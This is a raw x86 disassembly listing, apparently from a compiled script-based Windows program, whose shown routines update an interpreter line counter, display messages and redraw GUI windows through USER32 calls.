mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x1603
mov dword [0x76036c], 0x1604
jmp 0x50de70
mov dword [0x76036c], 0x15fe
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ccb20
push edi
mov dword [0x76036c], 0x15ff
cmp dword [0x76007c], 0
je 0x517275
mov dword [0x76036c], 0x15ff
mov dword [0x76036c], 0x1600
call fcn.004b1b70
mov dword [0x76036c], 0x1601
jmp 0x51720c
mov dword [0x76036c], 0x15ff
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15ff
call fcn.0042a0e0
jmp 0x517250
mov dword [0x76036c], 0x1607
cmp dword [0x760008], 1
jne 0x5173f6
mov dword [0x76036c], 0x1608
cmp dword [0x760050], 0
je 0x517405
mov dword [0x76036c], 0x160c
mov dword [0x76036c], 0x160d
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x160e
mov dword [0x76036c], 0x160f
jmp 0x50de70
mov dword [0x76036c], 0x1609
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cccf0
push ebx
mov dword [0x76036c], 0x160a
cmp dword [0x76007c], 0
je 0x517455
mov dword [0x76036c], 0x160a
mov dword [0x76036c], 0x160b
call fcn.004b1b70
mov dword [0x76036c], 0x160c
jmp 0x5173ec
mov dword [0x76036c], 0x160a
mov dword [0x76007c], 1
mov dword [0x76036c], 0x160a
call fcn.0042a0e0
jmp 0x517430
mov dword [0x76036c], 0x1612
call fcn.00404d50
cmp eax, 2
jg 0x51749d
mov dword [0x76036c], 0x1616
jmp 0x50de70
mov dword [0x76036c], 0x1613
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ccf10
push ecx
mov dword [0x76036c], 0x1614
cmp dword [0x76007c], 0
je 0x5174e3
mov dword [0x76036c], 0x1614
mov dword [0x76036c], 0x1615
call fcn.004b1b70
jmp 0x51748e
mov dword [0x76036c], 0x1614
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1614
call fcn.0042a0e0
jmp 0x5174c8
mov dword [0x76036c], 0x161a
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cd240
push edx
mov dword [0x76036c], 0x161b
cmp dword [0x76007c], 0
je 0x517551
mov dword [0x76036c], 0x161b
mov dword [0x76036c], 0x161c
call fcn.004b1b70
jmp 0x516352
mov dword [0x76036c], 0x161b
mov dword [0x76007c], 1
mov dword [0x76036c], 0x161b
call fcn.0042a0e0
jmp 0x517533
mov dword [0x76036c], 0x1626
cmp dword [0x7602b4], 0
jne 0x5175ef
mov dword [0x76036c], 0x1628
mov dword [0x76036c], 0x1629
cmp dword [0x760130], 1
je 0x517600
mov dword [0x76036c], 0x162b
mov dword [0x76036c], 0x162c
cmp dword [0x75ff80], 0
jne 0x517611
mov dword [0x76036c], 0x162c
mov dword [0x76036c], 0x162d
cmp dword [0x76024c], 0
je 0x517634
mov dword [0x76036c], 0x1630
jmp 0x50de70
mov dword [0x76036c], 0x1627
call fcn.00418840
jmp 0x517589
mov dword [0x76036c], 0x162a
call fcn.00406af0
jmp 0x5175a6
mov dword [0x76036c], 0x162c
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x5175c3
mov dword [0x76036c], 0x162e
mov dword [0x76024c], 1
mov dword [0x76036c], 0x162f
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66d5f0
call fcn.0047a230
push eax
push eax
call fcn.00572990
jmp 0x5175e0
mov dword [0x76036c], 0x1633
cmp dword [0x7602b4], 0
jne 0x517709
mov dword [0x76036c], 0x1635
mov dword [0x76036c], 0x1636
cmp dword [0x760130], 1
je 0x51771d
mov dword [0x76036c], 0x1638
mov dword [0x76036c], 0x1639
cmp dword [0x75ff80], 0
jne 0x517731
mov dword [0x76036c], 0x1639
mov dword [0x76036c], 0x163a
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.0047a230
push eax
push eax
call fcn.00572990
jmp 0x50de70
mov dword [0x76036c], 0x1634
call fcn.00418840
jmp 0x517690
mov dword [0x76036c], 0x1637
call fcn.00406af0
jmp 0x5176ad
mov dword [0x76036c], 0x1639
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x5176ca
mov dword [0x76036c], 0x163e
call fcn.00418840
mov dword [0x76036c], 0x163f
jmp 0x515def
mov dword [0x76036c], 0x1640
call fcn.00406af0
mov dword [0x76036c], 0x1641
jmp 0x515def
mov dword [0x76036c], 0x1642
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x515dac
mov dword [0x76036c], 0x1643
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004ca890
push edi
push edi
jmp 0x515dd6
mov dword [0x76036c], 0x164e
cmp dword [0x760050], 0
je 0x517929
mov dword [0x76036c], 0x1656
mov dword [0x76036c], 0x1657
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e9e0
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x1658
jmp 0x50de70
mov dword [0x76036c], 0x164f
call fcn.0055c0b0
mov dword [0x7602b8], eax
mov dword [0x76036c], 0x1650
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x10
call fcn.00542b42
push ecx
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x10
call fcn.0054427c
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760110
call fcn.00572aa0
push ebx
push ebx
mov dword [0x76036c], 0x1651
mov eax, dword [0x760110]
test eax, eax
je 0x5179ac
cmp word [eax], 0
jne 0x5179c5
mov dword [0x76036c], 0x1655
mov dword [0x76036c], 0x1656
jmp 0x51791a
mov dword [0x76036c], 0x1652
mov edx, dword [0x7602b8]
mov ecx, dword [edx + 0xc]
mov dword [esp + 0x10], ecx
mov ecx, dword [edx + 8]
mov dword [esp + 0xc], ecx
mov ecx, dword [edx + 4]
mov dword [esp + 8], ecx
mov edx, dword [edx]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004c90e0
sub esp, 0x14
jmp 0x5179ac
mov dword [0x76036c], 0x165b
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push eax
mov dword [0x76036c], 0x165c
mov eax, dword [0x760098]
mov dword [esp], eax
call fcn.005426ed
push eax
mov dword [0x76036c], 0x165e
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680e7
push edx
test eax, eax
je 0x517a6d
mov dword [0x76036c], 0x165f
mov eax, dword [0x7603c8]
mov edi, dword [0x75ffe8]
cmp dword [eax + 8], edi
je 0x517a7c
mov dword [0x76036c], 0x1664
mov dword [0x76036c], 0x1665
jmp 0x50de70
mov eax, dword [eax + 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x66bc10
call fcn.005728e0
test eax, eax
je 0x517a63
mov dword [0x76036c], 0x1660
mov dword [esp], 2
call fcn.00542728
push ebp
xor edx, edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], 0xb
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x1661
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7603c8]
mov ebx, dword [eax + 0x56]
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0056f440
sub esp, 0xc
call fcn.005729f0
mov dword [esp], eax
call fcn.0056f720
push ecx
mov ebx, eax
call fcn.00572990
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7603c8]
mov esi, dword [eax + 0x56]
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 7
mov dword [esp], esi
call fcn.0056f440
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x67b680
mov dword [esp], 0x26
call fcn.004dd120
sub esp, 0x10
call fcn.00572990
mov dword [0x76036c], 0x1662
mov dword [esp], 2
call fcn.00542728
push ebx
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 0xb
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x1663
mov dword [esp], 2
call fcn.00542728
push edi
mov dword [esp + 0xc], 0x185
xor ebp, ebp
mov dword [esp + 8], ebp
mov dword [esp + 4], ebp
mov dword [esp], eax
call sub.USER32.dll_RedrawWindow
sub esp, 0x10
jmp 0x517a63
mov dword [0x76036c], 0x1668
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push esi
mov dword [0x76036c], 0x1669
mov eax, dword [0x760098]
mov dword [esp], eax
call fcn.005426ed
push edi
jmp 0x50de70
mov dword [0x76036c], 0x166c
call fcn.0055c0b0
mov dword [0x7602b8], eax
mov dword [0x76036c], 0x166e
cmp dword [eax], 0xffff0001
je 0x517cde
mov dword [0x76036c], 0x166f
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7602b8]
mov esi, dword [eax]
mov edi, esi
sar edi, 0x1f
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], edi
call fcn.0056f490
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 0xc], 0x67a064
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x26
call fcn.004ee370
sub esp, 0x10
call fcn.00572990
mov dword [0x76036c], 0x1670
cmp dword [0x76007c], 0
je 0x517f18
mov dword [0x76036c], 0x1670
mov dword [0x76036c], 0x1671
mov dword [0x76036c], 0x1672
mov eax, dword [0x7602b8]
cmp dword [eax + 4], 0xffff0001
je 0x517d9c
mov dword [0x76036c], 0x1673
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7602b8]
mov esi, dword [eax + 4]
mov edi, esi
sar edi, 0x1f
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], edi
call fcn.0056f490
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 0xc], 0x67a048
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x26
call fcn.004ee370
sub esp, 0x10
call fcn.00572990
mov dword [0x76036c], 0x1674
cmp dword [0x76007c], 0
je 0x517f40
mov dword [0x76036c], 0x1674
mov eax, dword [0x7602b8]
mov dword [0x76036c], 0x1675
mov dword [0x76036c], 0x1676
cmp dword [eax + 8], 0xffff0001
je 0x517e55
mov dword [0x76036c], 0x1677
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7602b8]
mov esi, dword [eax + 8]
mov edi, esi
sar edi, 0x1f
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], edi
call fcn.0056f490
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 0xc], str.dim.width
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x26
call fcn.004ee370
sub esp, 0x10
call fcn.00572990
mov dword [0x76036c], 0x1678
cmp dword [0x76007c], 0
je 0x517f68
mov dword [0x76036c], 0x1678
mov eax, dword [0x7602b8]
mov dword [0x76036c], 0x1679
mov dword [0x76036c], 0x167a
cmp dword [eax + 0xc], 0xffff0001
je 0x517f09
mov dword [0x76036c], 0x167b
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov eax, dword [0x7602b8]
mov esi, dword [eax + 0xc]
mov edi, esi
sar edi, 0x1f
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], edi
call fcn.0056f490
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 0xc], 0x66efec
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x26
call fcn.004ee370
sub esp, 0x10
call fcn.00572990
mov dword [0x76036c], 0x167c
cmp dword [0x76007c], 0
je 0x517f90
mov dword [0x76036c], 0x167c
mov dword [0x76036c], 0x167d
jmp 0x50de70
mov dword [0x76036c], 0x1670
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1670
call fcn.0042a0e0
jmp 0x517cd4
mov dword [0x76036c], 0x1674
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1674
call fcn.0042a0e0
jmp 0x517d8d
mov dword [0x76036c], 0x1678
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1678
call fcn.0042a0e0
jmp 0x517e46
mov dword [0x76036c], 0x167c
mov dword [0x76007c], 1
mov dword [0x76036c], 0x167c
call fcn.0042a0e0
jmp 0x517eff
mov dword [0x76036c], 0x1680
xor ebx, ebx
mov dword [0x76003c], ebx
jmp 0x50de70
mov dword [0x76036c], 0x1683
cmp dword [0x76007c], 0
je 0x517ff1
mov dword [0x76036c], 0x1683
jmp 0x50de70
mov dword [0x76036c], 0x1683
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1683
call fcn.0042a0e0
jmp 0x517fe2
mov dword [0x76036c], 0x1686
cmp dword [0x76007c], 0
jne 0x518038
mov dword [0x76036c], 0x1686
jmp 0x50de70
mov dword [0x76036c], 0x1686
xor ecx, ecx
mov dword [0x76007c], ecx
mov dword [0x76036c], 0x1686
call fcn.0042a0e0
jmp 0x518029
mov dword [0x76036c], 0x1689
mov dword [esp], 4
call fcn.00542ecb
push edx
sub eax, 1
jle 0x51808b
mov dword [0x76036c], 0x168a
mov dword [0x760044], 1
mov dword [0x76036c], 0x168b
mov dword [0x76036c], 0x168c
call fcn.004b1b70
jmp 0x50de70